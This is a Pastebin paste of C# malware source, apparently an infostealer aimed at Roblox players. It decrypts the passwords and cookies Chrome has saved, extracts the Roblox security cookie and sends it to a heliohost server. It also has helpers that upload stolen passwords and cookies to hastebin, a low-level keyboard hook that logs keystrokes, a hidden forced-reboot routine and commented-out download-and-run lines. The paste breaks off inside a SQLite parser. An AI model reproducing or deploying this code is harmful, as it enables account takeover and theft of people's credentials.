Advertisement
Guest User

Untitled

a guest
Mar 20th, 2018
216
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 38.00 KB | None | 0 0
  1. using System;
  2. using System.IO;
  3. using System.Text;
  4. using System.Collections.Generic;
  5. using System.Runtime.InteropServices;
  6. using Microsoft.VisualBasic.CompilerServices;
  7. using System.Diagnostics;
  8. using System.Windows.Forms;
  9. using Microsoft.VisualBasic;
  10. using System.Net;
  11.  
  12. namespace ConsoleApplication2
  13. {
  14. class Program
  15. {
  16. static string tempFolderPath = Path.GetTempPath();
  17. static void Main(string[] args)
  18. {
  19. using (var client = new WebClient())
  20. {
  21. //trollclient.DownloadFile("http://chippyex.heliohost.org/TheTrollface.exe", "troll.exe");
  22. }
  23. //troll1Process.Start("troll.exe");
  24. string domain = "https://v3rmillion.net/";
  25. //v3r1if (File.ReadAllText(passwordFileN).Contains(domain))
  26. //v3r2{
  27. //v3r3Application.Exit();
  28. //v3r4}
  29. string domain1 = "https://hackforums.net/";
  30. //h1if (File.ReadAllText(passwordFileN).Contains(domain1))
  31. //h2{
  32. //h3Application.Exit();
  33. //h4}
  34. //CCursor.Hide();
  35. //SWASwapMouseButton(1);
  36. //System.Diagnostics.Process.Start('WEBSITEHERE');
  37. //cmdProcess.Start("cmd.exe");
  38. string robloxcookie;
  39. List<GoogleChrome.PasswordData> passes = GoogleChrome.Recover();
  40. using (var outputFile1 = new StreamWriter(tempFolderPath + "passes.txt"))
  41. foreach (var pass in passes)
  42. {
  43. outputFile1.WriteLine("Host: " + pass.Host);
  44. outputFile1.WriteLine("User: " + pass.User);
  45. outputFile1.WriteLine("Password: " + pass.Password);
  46. outputFile1.WriteLine(Environment.NewLine);
  47.  
  48. }
  49. List<GoogleChrome.CookiesData> cookies = GoogleChrome.Recovercookies();
  50. using (var outputFile = new StreamWriter(tempFolderPath + "cookies.txt"))
  51. foreach (var cookie in cookies)
  52. {
  53. outputFile.WriteLine("Host: " + cookie.Host1);
  54. outputFile.WriteLine("Cookie: " + cookie.cookie);
  55. outputFile.WriteLine("Name: " + cookie.name);
  56. outputFile.WriteLine(Environment.NewLine);
  57. }
  58.  
  59. string path = tempFolderPath +"cookies.txt";
  60. string text2 = File.ReadAllText(path);
  61. string result = text2;
  62. int indexOfFirstPhrase = text2.IndexOf("_|WARNING:-DO-NOT-SHARE-THIS");
  63. if (indexOfFirstPhrase >= 0)
  64. {
  65. indexOfFirstPhrase += "_|WARNING:-DO-NOT-SHARE-THIS".Length;
  66. int indexOfSecondPhrase = text2.IndexOf("Name:", indexOfFirstPhrase);
  67. if (indexOfSecondPhrase >= 0)
  68. result = text2.Substring(indexOfFirstPhrase, indexOfSecondPhrase - indexOfFirstPhrase);
  69. else
  70. result = text2.Substring(indexOfFirstPhrase);
  71. }
  72. robloxcookie = "_|WARNING:-DO-NOT-SHARE-THIS" + result;
  73. getIP();
  74. using (WebClient webClient = new WebClient())
  75. {
  76. webClient.Proxy = null;
  77. webClient.Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36");
  78. webClient.DownloadString("http://chippyex.heliohost.org/Users/HWIDHERE/upload.php?data=" + robloxcookie);
  79. //1webClient.DownloadString("http://chippyex.heliohost.org/Users/HWIDHERE/send.php?data=" + getPasswords() + "$" + Environment.UserName + "$" + ipAddress);
  80. //2webClient.DownloadString("http://chippyex.heliohost.org/Users/HWIDHERE/cookies.php?data=" + getcookies());
  81.  
  82. //lolRestart();
  83. //shutProcess.Start("shutdown","/s /t 0");
  84.  
  85.  
  86. }
  87. }
  88. private static void Restart()
  89. {
  90. ProcessStartInfo proc = new ProcessStartInfo();
  91. proc.WindowStyle = ProcessWindowStyle.Hidden;
  92. proc.FileName = "cmd";
  93. proc.Arguments = "/C shutdown -f -r -t 0";
  94. Process.Start(proc);
  95. }
  96.  
  97.  
  98. private static string pashastebin;
  99. private static string chastebin;
  100. private static string res;
  101. private static string cf = tempFolderPath + "cookies.txt";
  102. private static string pf = tempFolderPath + "passes.txt";
  103. public static string getPasswords()
  104. {
  105. if (File.Exists(pf))
  106. {
  107. using (var sr = new StreamReader(pf))
  108. {
  109. var line = sr.ReadToEnd();
  110. using (WebClient webClient = new WebClient())
  111. {
  112. webClient.Proxy = null;
  113. webClient.Headers.Add("content-type", "text/plain");
  114. webClient.Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36");
  115. res = webClient.UploadString("https://hastebin.com/documents", "POST", line);
  116. return pashastebin = "https://hastebin.com/" + res.Replace("\"key\":\"", "").Replace("\"}", "").Replace(" ", "").Replace("{", "");
  117. }
  118. }
  119. }
  120. else
  121. {
  122. return "No passwords";
  123. }
  124. }
  125. public static string getcookies()
  126. {
  127. if (File.Exists(cf))
  128. {
  129. using (var sr = new StreamReader(cf))
  130. {
  131. var line = sr.ReadToEnd();
  132. using (WebClient webClient = new WebClient())
  133. {
  134. webClient.Proxy = null;
  135. webClient.Headers.Add("content-type", "text/plain");
  136. webClient.Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36");
  137. res = webClient.UploadString("https://hastebin.com/documents", "POST", line);
  138. return chastebin = "https://hastebin.com/" + res.Replace("\"key\":\"", "").Replace("\"}", "").Replace(" ", "").Replace("{", "");
  139. }
  140. }
  141. }
  142. else
  143. {
  144. return "No passwords";
  145. }
  146. }
  147.  
  148.  
  149. private static string ipAddress;
  150. public static string getIP()
  151. {
  152. using (WebClient webClient = new WebClient())
  153. {
  154. webClient.Proxy = null;
  155. webClient.Encoding = Encoding.UTF8;
  156. webClient.Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36");
  157. ipAddress = webClient.DownloadString("https://www.chippyex.heliohost.org/Users/getip.php");
  158. return ipAddress;
  159. }
  160. }
  161. }
  162. }
  163.  
  164.  
  165. public class GoogleChrome
  166. {
  167. private const int WH_KEYBOARD_LL = 13;
  168. private const int WM_KEYDOWN = 0x0100;
  169. private static LowLevelKeyboardProc _proc = HookCallback;
  170. private static IntPtr _hookID = IntPtr.Zero;
  171. public static List<PasswordData> Recover()
  172. {
  173.  
  174. string datapath = String.Format("{0}\\Google\\Chrome\\User Data\\Default\\Login Data",
  175. Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData));
  176. List<PasswordData> data = new List<PasswordData>();
  177. SQLiteHandler SQLDatabase = null;
  178.  
  179. try
  180. {
  181. SQLDatabase = new SQLiteHandler(datapath);
  182. SQLDatabase.ReadTable("logins");
  183. }
  184. catch (Exception)
  185. {
  186. //Handle exception
  187. return data;
  188. }
  189.  
  190. if (File.Exists(datapath))
  191. {
  192. string host;
  193. string user;
  194. string pass;
  195. for (var i = 0; i <= SQLDatabase.GetRowCount() - 1; i++)
  196. try
  197. {
  198. host = SQLDatabase.GetValue(i, "origin_url");
  199. user = SQLDatabase.GetValue(i, "username_value");
  200. pass = Decrypt(Encoding.Default.GetBytes(SQLDatabase.GetValue(i, "password_value")));
  201.  
  202. if (!String.IsNullOrEmpty(host) && !String.IsNullOrEmpty(user) && pass != null)
  203. {
  204. data.Add(new PasswordData
  205. {
  206. Host = host,
  207. User = user,
  208. Password = pass
  209. });
  210. }
  211. }
  212. catch
  213. {
  214.  
  215. }
  216.  
  217.  
  218. }
  219.  
  220. return data;
  221. }
  222.  
  223. public static List<CookiesData> Recovercookies()
  224. {
  225.  
  226. string datapath1 = String.Format("{0}\\Google\\Chrome\\User Data\\Default\\Cookies",
  227. Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData));
  228. List<CookiesData> data1 = new List<CookiesData>();
  229. SQLiteHandler SQLDatabase1 = null;
  230.  
  231. try
  232. {
  233. SQLDatabase1 = new SQLiteHandler(datapath1);
  234. SQLDatabase1.ReadTable("cookies");
  235. }
  236. catch (Exception)
  237. {
  238. //Handle exception
  239. return data1;
  240. }
  241.  
  242. if (File.Exists(datapath1))
  243. {
  244. string host1;
  245. string name1;
  246. string cookie;
  247. for (var i = 0; i <= SQLDatabase1.GetRowCount() - 1; i++)
  248. try
  249. {
  250. host1 = SQLDatabase1.GetValue(i, "host_key");
  251. name1 = SQLDatabase1.GetValue(i, "name");
  252. cookie = Decrypt(Encoding.Default.GetBytes(SQLDatabase1.GetValue(i, "encrypted_value")));
  253.  
  254. if (!String.IsNullOrEmpty(host1) && !String.IsNullOrEmpty(name1) && cookie != null)
  255. {
  256. data1.Add(new CookiesData
  257. {
  258. Host1 = host1,
  259. name = name1,
  260. cookie = cookie
  261. });
  262. }
  263. }
  264. catch
  265. {
  266.  
  267. }
  268.  
  269.  
  270. }
  271.  
  272. return data1;
  273. }
  274.  
  275. public class PasswordData
  276. {
  277. public string Host { get; set; }
  278. public string User { get; set; }
  279. public string Password { get; set; }
  280. }
  281. public class CookiesData
  282. {
  283. public string Host1 { get; set; }
  284. public string name { get; set; }
  285. public string cookie { get; set; }
  286. }
  287. [DllImport("Crypt32.dll", SetLastError = true, CharSet = CharSet.Auto)]
  288. private static extern bool CryptUnprotectData(
  289. ref DATA_BLOB pDataIn,
  290. string szDataDescr,
  291. ref DATA_BLOB pOptionalEntropy,
  292. IntPtr pvReserved,
  293. ref CRYPTPROTECT_PROMPTSTRUCT pPromptStruct,
  294. int dwFlags,
  295. ref DATA_BLOB pDataOut);
  296.  
  297. private static string Decrypt(byte[] Datas)
  298. {
  299. var inj = new DATA_BLOB();
  300. var Ors = new DATA_BLOB();
  301. var Ghandle = GCHandle.Alloc(Datas, GCHandleType.Pinned);
  302. inj.pbData = Ghandle.AddrOfPinnedObject();
  303. inj.cbData = Datas.Length;
  304. Ghandle.Free();
  305. var entropy = new DATA_BLOB();
  306. var crypto = new CRYPTPROTECT_PROMPTSTRUCT();
  307. CryptUnprotectData(ref inj, null, ref entropy, IntPtr.Zero, ref crypto, 0, ref Ors);
  308. var Returned = new byte[Ors.cbData + 1];
  309. Marshal.Copy(Ors.pbData, Returned, 0, Ors.cbData);
  310. var TheString = Encoding.UTF8.GetString(Returned);
  311. return TheString.Substring(0, TheString.Length - 1);
  312. }
  313.  
  314. [Flags]
  315. private enum CryptProtectPromptFlags
  316. {
  317. CRYPTPROTECT_PROMPT_ON_UNPROTECT = 1,
  318. CRYPTPROTECT_PROMPT_ON_PROTECT = 2
  319. }
  320.  
  321. [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
  322. private struct CRYPTPROTECT_PROMPTSTRUCT
  323. {
  324. public readonly int cbSize;
  325. public readonly CryptProtectPromptFlags dwPromptFlags;
  326. public readonly IntPtr hwndApp;
  327. public readonly string szPrompt;
  328. }
  329.  
  330. [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
  331. private struct DATA_BLOB
  332. {
  333. public int cbData;
  334. public IntPtr pbData;
  335. }
  336.  
  337. private static IntPtr SetHook(LowLevelKeyboardProc proc)
  338. {
  339. using (Process curProcess = Process.GetCurrentProcess())
  340. using (ProcessModule curModule = curProcess.MainModule)
  341. {
  342. return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
  343. GetModuleHandle(curModule.ModuleName), 0);
  344. }
  345. }
  346.  
  347. private delegate IntPtr LowLevelKeyboardProc(
  348. int nCode, IntPtr wParam, IntPtr lParam);
  349.  
  350. private static IntPtr HookCallback(
  351. int nCode, IntPtr wParam, IntPtr lParam)
  352. {
  353. if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
  354. {
  355. int vkCode = Marshal.ReadInt32(lParam);
  356. Console.WriteLine((Keys)vkCode);
  357. StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);
  358. sw.Write((Keys)vkCode);
  359. sw.Close();
  360. }
  361. return CallNextHookEx(_hookID, nCode, wParam, lParam);
  362. }
  363.  
  364. [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  365. private static extern IntPtr SetWindowsHookEx(int idHook,
  366. LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
  367.  
  368. [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  369. [return: MarshalAs(UnmanagedType.Bool)]
  370. private static extern bool UnhookWindowsHookEx(IntPtr hhk);
  371.  
  372. [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  373. private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
  374. IntPtr wParam, IntPtr lParam);
  375.  
  376. [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  377. private static extern IntPtr GetModuleHandle(string lpModuleName);
  378.  
  379. [DllImport("kernel32.dll")]
  380. static extern IntPtr GetConsoleWindow();
  381.  
  382. [DllImport("user32.dll")]
  383. static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
  384.  
  385. const int SW_HIDE = 0;
  386. public class SQLiteHandler
  387. {
  388. private readonly byte[] db_bytes;
  389. private readonly ulong encoding;
  390. private string[] field_names;
  391. private sqlite_master_entry[] master_table_entries;
  392. private readonly ushort page_size;
  393. private readonly byte[] SQLDataTypeSize = { 0, 1, 2, 3, 4, 6, 8, 8, 0, 0 };
  394. private table_entry[] table_entries;
  395.  
  396. public SQLiteHandler(string baseName)
  397. {
  398. if (File.Exists(baseName))
  399. {
  400. FileSystem.FileOpen(1, baseName, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared, -1);
  401. var str = Strings.Space((int)FileSystem.LOF(1));
  402. FileSystem.FileGet(1, ref str, -1L, false);
  403. FileSystem.FileClose(1);
  404. db_bytes = Encoding.Default.GetBytes(str);
  405. if (Encoding.Default.GetString(db_bytes, 0, 15).CompareTo("SQLite format 3") != 0)
  406. throw new Exception("Not a valid SQLite 3 Database File");
  407. if (db_bytes[0x34] != 0)
  408. throw new Exception("Auto-vacuum capable database is not supported");
  409. //if (decimal.Compare(new decimal(this.ConvertToInteger(0x2c, 4)), 4M) >= 0)
  410. //{
  411. // throw new Exception("No supported Schema layer file-format");
  412. //}
  413. page_size = (ushort)ConvertToInteger(0x10, 2);
  414. encoding = ConvertToInteger(0x38, 4);
  415. if (decimal.Compare(new decimal(encoding), decimal.Zero) == 0)
  416. encoding = 1L;
  417. ReadMasterTable(100L);
  418. }
  419. }
  420.  
  421. private ulong ConvertToInteger(int startIndex, int Size)
  422. {
  423. if ((Size > 8) | (Size == 0))
  424. return 0L;
  425. ulong num2 = 0L;
  426. var num4 = Size - 1;
  427. for (var i = 0; i <= num4; i++)
  428. num2 = (num2 << 8) | db_bytes[startIndex + i];
  429. return num2;
  430. }
  431.  
  432. private long CVL(int startIndex, int endIndex)
  433. {
  434. endIndex++;
  435. var buffer = new byte[8];
  436. var num4 = endIndex - startIndex;
  437. var flag = false;
  438. if ((num4 == 0) | (num4 > 9))
  439. return 0L;
  440. if (num4 == 1)
  441. {
  442. buffer[0] = (byte)(db_bytes[startIndex] & 0x7f);
  443. return BitConverter.ToInt64(buffer, 0);
  444. }
  445. if (num4 == 9)
  446. flag = true;
  447. var num2 = 1;
  448. var num3 = 7;
  449. var index = 0;
  450. if (flag)
  451. {
  452. buffer[0] = db_bytes[endIndex - 1];
  453. endIndex--;
  454. index = 1;
  455. }
  456. var num7 = startIndex;
  457. for (var i = endIndex - 1; i >= num7; i += -1)
  458. if (i - 1 >= startIndex)
  459. {
  460. buffer[index] = (byte)(((byte)(db_bytes[i] >> ((num2 - 1) & 7)) & (0xff >> num2)) |
  461. (byte)(db_bytes[i - 1] << (num3 & 7)));
  462. num2++;
  463. index++;
  464. num3--;
  465. }
  466. else if (!flag)
  467. {
  468. buffer[index] = (byte)((byte)(db_bytes[i] >> ((num2 - 1) & 7)) & (0xff >> num2));
  469. }
  470. return BitConverter.ToInt64(buffer, 0);
  471. }
  472.  
  473. public int GetRowCount()
  474. {
  475. return table_entries.Length;
  476. }
  477.  
  478. public string[] GetTableNames()
  479. {
  480. string[] strArray2 = null;
  481. var index = 0;
  482. var num3 = master_table_entries.Length - 1;
  483. for (var i = 0; i <= num3; i++)
  484. if (master_table_entries[i].item_type == "table")
  485. {
  486. strArray2 = (string[])Utils.CopyArray(strArray2, new string[index + 1]);
  487. strArray2[index] = master_table_entries[i].item_name;
  488. index++;
  489. }
  490. return strArray2;
  491. }
  492.  
  493. public string GetValue(int row_num, int field)
  494. {
  495. if (row_num >= table_entries.Length)
  496. return null;
  497. if (field >= table_entries[row_num].content.Length)
  498. return null;
  499. return table_entries[row_num].content[field];
  500. }
  501.  
  502. public string GetValue(int row_num, string field)
  503. {
  504. var num = -1;
  505. var length = field_names.Length - 1;
  506. for (var i = 0; i <= length; i++)
  507. if (field_names[i].ToLower().CompareTo(field.ToLower()) == 0)
  508. {
  509. num = i;
  510. break;
  511. }
  512. if (num == -1)
  513. return null;
  514. return GetValue(row_num, num);
  515. }
  516.  
  517. private int GVL(int startIndex)
  518. {
  519. if (startIndex > db_bytes.Length)
  520. return 0;
  521. var num3 = startIndex + 8;
  522. for (var i = startIndex; i <= num3; i++)
  523. {
  524. if (i > db_bytes.Length - 1)
  525. return 0;
  526. if ((db_bytes[i] & 0x80) != 0x80)
  527. return i;
  528. }
  529. return startIndex + 8;
  530. }
  531.  
  532. private bool IsOdd(long value)
  533. {
  534. return (value & 1L) == 1L;
  535. }
  536.  
  537. private void ReadMasterTable(ulong Offset)
  538. {
  539. if (db_bytes[(int)Offset] == 13)
  540. {
  541. var num2 = Convert.ToUInt16(
  542. decimal.Subtract(
  543. new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)),
  544. decimal.One));
  545. var length = 0;
  546. if (master_table_entries != null)
  547. {
  548. length = master_table_entries.Length;
  549. master_table_entries = (sqlite_master_entry[])Utils.CopyArray(master_table_entries,
  550. new sqlite_master_entry[master_table_entries.Length + num2 + 1]);
  551. }
  552. else
  553. {
  554. master_table_entries = new sqlite_master_entry[num2 + 1];
  555. }
  556. int num13 = num2;
  557. for (var i = 0; i <= num13; i++)
  558. {
  559. var num = ConvertToInteger(
  560. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 8M), new decimal(i * 2))), 2);
  561. if (decimal.Compare(new decimal(Offset), 100M) != 0)
  562. num += Offset;
  563. var endIndex = GVL((int)num);
  564. var num7 = CVL((int)num, endIndex);
  565. var num6 = GVL(Convert.ToInt32(
  566. decimal.Add(
  567. decimal.Add(new decimal(num), decimal.Subtract(new decimal(endIndex), new decimal(num))),
  568. decimal.One)));
  569. master_table_entries[length + i].row_id =
  570. CVL(
  571. Convert.ToInt32(decimal.Add(
  572. decimal.Add(new decimal(num),
  573. decimal.Subtract(new decimal(endIndex), new decimal(num))), decimal.One)), num6);
  574. num = Convert.ToUInt64(decimal.Add(
  575. decimal.Add(new decimal(num), decimal.Subtract(new decimal(num6), new decimal(num))),
  576. decimal.One));
  577. endIndex = GVL((int)num);
  578. num6 = endIndex;
  579. var num5 = CVL((int)num, endIndex);
  580. var numArray = new long[5];
  581. var index = 0;
  582. do
  583. {
  584. endIndex = num6 + 1;
  585. num6 = GVL(endIndex);
  586. numArray[index] = CVL(endIndex, num6);
  587. if (numArray[index] > 9L)
  588. if (IsOdd(numArray[index]))
  589. numArray[index] = (long)Math.Round((numArray[index] - 13L) / 2.0);
  590. else
  591. numArray[index] = (long)Math.Round((numArray[index] - 12L) / 2.0);
  592. else
  593. numArray[index] = SQLDataTypeSize[(int)numArray[index]];
  594. index++;
  595. } while (index <= 4);
  596. if (decimal.Compare(new decimal(encoding), decimal.One) == 0)
  597. master_table_entries[length + i].item_type = Encoding.Default.GetString(db_bytes,
  598. Convert.ToInt32(decimal.Add(new decimal(num), new decimal(num5))), (int)numArray[0]);
  599. else if (decimal.Compare(new decimal(encoding), 2M) == 0)
  600. master_table_entries[length + i].item_type = Encoding.Unicode.GetString(db_bytes,
  601. Convert.ToInt32(decimal.Add(new decimal(num), new decimal(num5))), (int)numArray[0]);
  602. else if (decimal.Compare(new decimal(encoding), 3M) == 0)
  603. master_table_entries[length + i].item_type = Encoding.BigEndianUnicode.GetString(db_bytes,
  604. Convert.ToInt32(decimal.Add(new decimal(num), new decimal(num5))), (int)numArray[0]);
  605. if (decimal.Compare(new decimal(encoding), decimal.One) == 0)
  606. master_table_entries[length + i].item_name = Encoding.Default.GetString(db_bytes,
  607. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)),
  608. new decimal(numArray[0]))), (int)numArray[1]);
  609. else if (decimal.Compare(new decimal(encoding), 2M) == 0)
  610. master_table_entries[length + i].item_name = Encoding.Unicode.GetString(db_bytes,
  611. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)),
  612. new decimal(numArray[0]))), (int)numArray[1]);
  613. else if (decimal.Compare(new decimal(encoding), 3M) == 0)
  614. master_table_entries[length + i].item_name = Encoding.BigEndianUnicode.GetString(db_bytes,
  615. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)),
  616. new decimal(numArray[0]))), (int)numArray[1]);
  617. master_table_entries[length + i].root_num =
  618. (long)ConvertToInteger(
  619. Convert.ToInt32(decimal.Add(
  620. decimal.Add(
  621. decimal.Add(decimal.Add(new decimal(num), new decimal(num5)),
  622. new decimal(numArray[0])), new decimal(numArray[1])),
  623. new decimal(numArray[2]))), (int)numArray[3]);
  624. if (decimal.Compare(new decimal(encoding), decimal.One) == 0)
  625. master_table_entries[length + i].sql_statement = Encoding.Default.GetString(db_bytes,
  626. Convert.ToInt32(decimal.Add(
  627. decimal.Add(
  628. decimal.Add(
  629. decimal.Add(decimal.Add(new decimal(num), new decimal(num5)),
  630. new decimal(numArray[0])), new decimal(numArray[1])),
  631. new decimal(numArray[2])), new decimal(numArray[3]))), (int)numArray[4]);
  632. else if (decimal.Compare(new decimal(encoding), 2M) == 0)
  633. master_table_entries[length + i].sql_statement = Encoding.Unicode.GetString(db_bytes,
  634. Convert.ToInt32(decimal.Add(
  635. decimal.Add(
  636. decimal.Add(
  637. decimal.Add(decimal.Add(new decimal(num), new decimal(num5)),
  638. new decimal(numArray[0])), new decimal(numArray[1])),
  639. new decimal(numArray[2])), new decimal(numArray[3]))), (int)numArray[4]);
  640. else if (decimal.Compare(new decimal(encoding), 3M) == 0)
  641. master_table_entries[length + i].sql_statement = Encoding.BigEndianUnicode.GetString(db_bytes,
  642. Convert.ToInt32(decimal.Add(
  643. decimal.Add(
  644. decimal.Add(
  645. decimal.Add(decimal.Add(new decimal(num), new decimal(num5)),
  646. new decimal(numArray[0])), new decimal(numArray[1])),
  647. new decimal(numArray[2])), new decimal(numArray[3]))), (int)numArray[4]);
  648. }
  649. }
  650. else if (db_bytes[(int)Offset] == 5)
  651. {
  652. var num11 = Convert.ToUInt16(
  653. decimal.Subtract(
  654. new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)),
  655. decimal.One));
  656. int num14 = num11;
  657. for (var j = 0; j <= num14; j++)
  658. {
  659. var startIndex =
  660. (ushort)ConvertToInteger(
  661. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 12M), new decimal(j * 2))), 2);
  662. if (decimal.Compare(new decimal(Offset), 100M) == 0)
  663. ReadMasterTable(Convert.ToUInt64(
  664. decimal.Multiply(
  665. decimal.Subtract(new decimal(ConvertToInteger(startIndex, 4)), decimal.One),
  666. new decimal(page_size))));
  667. else
  668. ReadMasterTable(Convert.ToUInt64(
  669. decimal.Multiply(
  670. decimal.Subtract(new decimal(ConvertToInteger((int)(Offset + startIndex), 4)),
  671. decimal.One), new decimal(page_size))));
  672. }
  673. ReadMasterTable(Convert.ToUInt64(
  674. decimal.Multiply(
  675. decimal.Subtract(
  676. new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 8M)), 4)),
  677. decimal.One), new decimal(page_size))));
  678. }
  679. }
  680.  
  681. public bool ReadTable(string TableName)
  682. {
  683. var index = -1;
  684. var length = master_table_entries.Length - 1;
  685. for (var i = 0; i <= length; i++)
  686. if (master_table_entries[i].item_name.ToLower().CompareTo(TableName.ToLower()) == 0)
  687. {
  688. index = i;
  689. break;
  690. }
  691. if (index == -1)
  692. return false;
  693. var strArray = master_table_entries[index].sql_statement
  694. .Substring(master_table_entries[index].sql_statement.IndexOf("(") + 1).Split(',');
  695. var num6 = strArray.Length - 1;
  696. for (var j = 0; j <= num6; j++)
  697. {
  698. strArray[j] = strArray[j].TrimStart();
  699. var num4 = strArray[j].IndexOf(" ");
  700. if (num4 > 0)
  701. strArray[j] = strArray[j].Substring(0, num4);
  702. if (strArray[j].IndexOf("UNIQUE") == 0)
  703. break;
  704. field_names = (string[])Utils.CopyArray(field_names, new string[j + 1]);
  705. field_names[j] = strArray[j];
  706. }
  707. return ReadTableFromOffset((ulong)((master_table_entries[index].root_num - 1L) * page_size));
  708. }
  709.  
  710. private bool ReadTableFromOffset(ulong Offset)
  711. {
  712. if (db_bytes[(int)Offset] == 13)
  713. {
  714. var num2 = Convert.ToInt32(decimal.Subtract(
  715. new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)),
  716. decimal.One));
  717. var length = 0;
  718. if (table_entries != null)
  719. {
  720. length = table_entries.Length;
  721. table_entries =
  722. (table_entry[])Utils.CopyArray(table_entries,
  723. new table_entry[table_entries.Length + num2 + 1]);
  724. }
  725. else
  726. {
  727. table_entries = new table_entry[num2 + 1];
  728. }
  729. var num16 = num2;
  730. for (var i = 0; i <= num16; i++)
  731. {
  732. record_header_field[] _fieldArray = null;
  733. var num = ConvertToInteger(
  734. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 8M), new decimal(i * 2))), 2);
  735. if (decimal.Compare(new decimal(Offset), 100M) != 0)
  736. num += Offset;
  737. var endIndex = GVL((int)num);
  738. var num9 = CVL((int)num, endIndex);
  739. var num8 = GVL(Convert.ToInt32(
  740. decimal.Add(
  741. decimal.Add(new decimal(num), decimal.Subtract(new decimal(endIndex), new decimal(num))),
  742. decimal.One)));
  743. table_entries[length + i].row_id =
  744. CVL(
  745. Convert.ToInt32(decimal.Add(
  746. decimal.Add(new decimal(num),
  747. decimal.Subtract(new decimal(endIndex), new decimal(num))), decimal.One)), num8);
  748. num = Convert.ToUInt64(decimal.Add(
  749. decimal.Add(new decimal(num), decimal.Subtract(new decimal(num8), new decimal(num))),
  750. decimal.One));
  751. endIndex = GVL((int)num);
  752. num8 = endIndex;
  753. var num7 = CVL((int)num, endIndex);
  754. var num10 = Convert.ToInt64(decimal.Add(decimal.Subtract(new decimal(num), new decimal(endIndex)),
  755. decimal.One));
  756. for (var j = 0; num10 < num7; j++)
  757. {
  758. _fieldArray =
  759. (record_header_field[])Utils.CopyArray(_fieldArray, new record_header_field[j + 1]);
  760. endIndex = num8 + 1;
  761. num8 = GVL(endIndex);
  762. _fieldArray[j].type = CVL(endIndex, num8);
  763. if (_fieldArray[j].type > 9L)
  764. if (IsOdd(_fieldArray[j].type))
  765. _fieldArray[j].size = (long)Math.Round((_fieldArray[j].type - 13L) / 2.0);
  766. else
  767. _fieldArray[j].size = (long)Math.Round((_fieldArray[j].type - 12L) / 2.0);
  768. else
  769. _fieldArray[j].size = SQLDataTypeSize[(int)_fieldArray[j].type];
  770. num10 = num10 + (num8 - endIndex) + 1L;
  771. }
  772. table_entries[length + i].content = new string[_fieldArray.Length - 1 + 1];
  773. var num4 = 0;
  774. var num17 = _fieldArray.Length - 1;
  775. for (var k = 0; k <= num17; k++)
  776. {
  777. if (_fieldArray[k].type > 9L)
  778. if (!IsOdd(_fieldArray[k].type))
  779. {
  780. if (decimal.Compare(new decimal(encoding), decimal.One) == 0)
  781. table_entries[length + i].content[k] = Encoding.Default.GetString(db_bytes,
  782. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)),
  783. new decimal(num4))), (int)_fieldArray[k].size);
  784. else if (decimal.Compare(new decimal(encoding), 2M) == 0)
  785. table_entries[length + i].content[k] = Encoding.Unicode.GetString(db_bytes,
  786. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)),
  787. new decimal(num4))), (int)_fieldArray[k].size);
  788. else if (decimal.Compare(new decimal(encoding), 3M) == 0)
  789. table_entries[length + i].content[k] = Encoding.BigEndianUnicode.GetString(db_bytes,
  790. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)),
  791. new decimal(num4))), (int)_fieldArray[k].size);
  792. }
  793. else
  794. {
  795. table_entries[length + i].content[k] = Encoding.Default.GetString(db_bytes,
  796. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)),
  797. new decimal(num4))), (int)_fieldArray[k].size);
  798. }
  799. else
  800. table_entries[length + i].content[k] =
  801. Conversions.ToString(
  802. ConvertToInteger(
  803. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)),
  804. new decimal(num4))), (int)_fieldArray[k].size));
  805. num4 += (int)_fieldArray[k].size;
  806. }
  807. }
  808. }
  809. else if (db_bytes[(int)Offset] == 5)
  810. {
  811. var num14 = Convert.ToUInt16(
  812. decimal.Subtract(
  813. new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)),
  814. decimal.One));
  815. int num18 = num14;
  816. for (var m = 0; m <= num18; m++)
  817. {
  818. var num13 = (ushort)ConvertToInteger(
